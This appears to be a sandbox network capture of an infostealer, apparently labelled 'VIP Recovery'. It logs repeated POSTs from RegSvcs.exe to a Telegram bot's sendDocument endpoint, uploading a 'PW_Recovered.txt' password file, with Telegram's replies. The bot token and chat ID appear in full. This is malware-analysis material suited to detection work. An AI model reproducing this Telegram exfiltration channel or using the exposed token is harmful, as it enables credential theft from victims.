name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:25 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:25 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12791,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	61612	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:26 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dceaac99e5fcbf Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:26 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 61 61 63 39 39 65 35 66 63 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dceaac99e5fcbfContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:27 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:27 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12792,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	61614	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:28 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcef90c1a97496 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:28 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 66 39 30 63 31 61 39 37 34 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcef90c1a97496Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:29 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:29 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12793,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	61616	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:31 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dceb3e4c93a34e Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:31 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 62 33 65 34 63 39 33 61 33 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dceb3e4c93a34eContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:31 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:31 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12794,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	61618	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:33 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf048596588d7 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:33 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 30 34 38 35 39 36 35 38 38 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf048596588d7Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:33 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:33 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12795,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	61619	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:34 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dced6e233a01b3 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:34 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 64 36 65 32 33 33 61 30 31 62 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dced6e233a01b3Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:34 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:34 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12796,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	61622	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:37 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf0ced33ec182 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:37 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 30 63 65 64 33 33 65 63 31 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf0ced33ec182Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:37 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:37 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12798,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	61623	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:38 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcefb4e2f4aa1c Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:38 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 66 62 34 65 32 66 34 61 61 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcefb4e2f4aa1cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:38 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
